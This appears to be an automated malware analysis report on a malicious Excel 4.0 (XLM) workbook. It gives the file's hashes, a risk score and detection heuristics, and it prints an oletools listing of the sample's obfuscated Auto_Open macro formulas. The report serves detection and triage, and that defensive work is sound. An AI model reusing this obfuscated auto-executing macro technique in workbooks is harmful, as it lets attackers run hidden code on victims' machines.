Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b94cd2e8b8c881b5…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:39:48 Authoring application: Microsoft Excel First seen: 2022-06-20
MD5: 79b50d16defc534fe9152590c9b262d4 SHA-1: 7593ee7cce53129d3c5a0d769211bb6e4b2ca870 SHA-256: b94cd2e8b8c881b51656e109ef9b695b5b7812afe156c046c9a87835ba5731d1
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6591 bytes
SHA-256: 8c5ae089ec9df7490c15e99273b8eb7450494f577e69b6798df0041c760d6c2a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  UhaZheRVn
' 0018     25 LABEL : Cell Value, String Constant - AlWkEvSsRU len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I181 
' 0018     27 LABEL : Cell Value, String Constant - BuYUlFKLvyYP len=0 
' 0018     21 LABEL : Cell Value, String Constant - dkycqd len=0 
' 0018     26 LABEL : Cell Value, String Constant - eRrQJCfiwOg len=0 
' 0018     21 LABEL : Cell Value, String Constant - eVRcIg len=0 
' 0018     26 LABEL : Cell Value, String Constant - fxUgtbEvbpK len=0 
' 0018     25 LABEL : Cell Value, String Constant - JJRxzqYHlo len=0 
' 0018     22 LABEL : Cell Value, String Constant - Lkxjdzg len=0 
' 0018     21 LABEL : Cell Value, String Constant - ltQQFU len=0 
' 0018     23 LABEL : Cell Value, String Constant - NfejcDLI len=0 
' 0018     25 LABEL : Cell Value, String Constant - NPebMjIgDw len=0 
' 0018     24 LABEL : Cell Value, String Constant - OlcpsXqaO len=0 
' 0018     27 LABEL : Cell Value, String Constant - PaHLIVNkSjDT len=0 
' 0018     21 LABEL : Cell Value, String Constant - PXvrqT len=0 
' 0018     24 LABEL : Cell Value, String Constant - RPfOaRfoH len=0 
' 0018     21 LABEL : Cell Value, String Constant - VOsTgW len=0 
' 0018     24 LABEL : Cell Value, String Constant - vuZzesCOF len=0 
' 0018     20 LABEL : Cell Value, String Constant - XxOlG len=0 
' 0018     25 LABEL : Cell Value, String Constant - yrGzUpnIhh len=0 
' 0018     22 LABEL : Cell Value, String Constant - yVwXKlP len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  UhaZheRVn,I86,"SET.NAME("AlWkEvSsRU",VALUE("0"))",""
'  UhaZheRVn,I88,"SET.NAME("yrGzUpnIhh",AlWkEvSsRU)",""
'  UhaZheRVn,I92,"SET.NAME("PaHLIVNkSjDT",AlWkEvSsRU)",""
'  UhaZheRVn,I97,"SET.NAME("RPfOaRfoH",COUNTA(NPebMjIgDw))",""
'  UhaZheRVn,I102,"SET.NAME("JJRxzqYHlo",COUNTA(PXvrqT))",""
'  UhaZheRVn,I107,[],""
'  UhaZheRVn,I109,"SET.NAME("NfejcDLI","")",""
'  UhaZheRVn,I113,"yrGzUpnIhh",""
'  UhaZheRVn,I117,"SET.NAME("BuYUlFKLvyYP",HLOOKUP("*",NPebMjIgDw,yrGzUpnIhh,FALSE))",""
'  UhaZheRVn,I119,"vuZzesCOF",""
'  UhaZheRVn,I121,"SET.NAME("dkycqd",AlWkEvSsRU)",""
'  UhaZheRVn,I125,[],""
'  UhaZheRVn,I128,"dkycqd",""
'  UhaZheRVn,I131,"ltQQFU",""
'  UhaZheRVn,I136,"eVRcIg",""
'  UhaZheRVn,I140,"OlcpsXqaO",""
'  UhaZheRVn,I142,"SET.NAME("XxOlG",VALUE(HLOOKUP("*",PXvrqT,OlcpsXqaO,FALSE)))",""
'  UhaZheRVn,I147,"VOsTgW",""
'  UhaZheRVn,I152,"NfejcDLI",""
'  UhaZheRVn,I154,"PaHLIVNkSjDT",""
'  UhaZheRVn,I159,NEXT(),""
'  UhaZheRVn,I161,"yVwXKlP",""
'  UhaZheRVn,I164,"SET.NAME("f",INT(T(FORMULA(T(NfejcDLI)&"",""&T(yVwXKlP)))))",""
'  UhaZheRVn,I169,"eRrQJCfiwOg",""
'  UhaZheRVn,I171,NEXT(),""
'  UhaZheRVn,I176,RETURN(),""
'  UhaZheRVn,I207,"SET.NAME("fxUgtbEvbpK",I86)",""
'  UhaZheRVn,I210,"NPebMjIgDw",""
'  UhaZheRVn,I215,"SET.NAME("PXvrqT",R77C13)",""
'  UhaZheRVn,I217,"SET.NAME("eRrQJCfiwOg",227)",""
'  UhaZheRVn,I222,"SET.NAME("Lkxjdzg",9)",""
'  UhaZheRVn,I226,fxUgtbEvbpK(),""
'  UhaZheRVn,I227,HALT(),""

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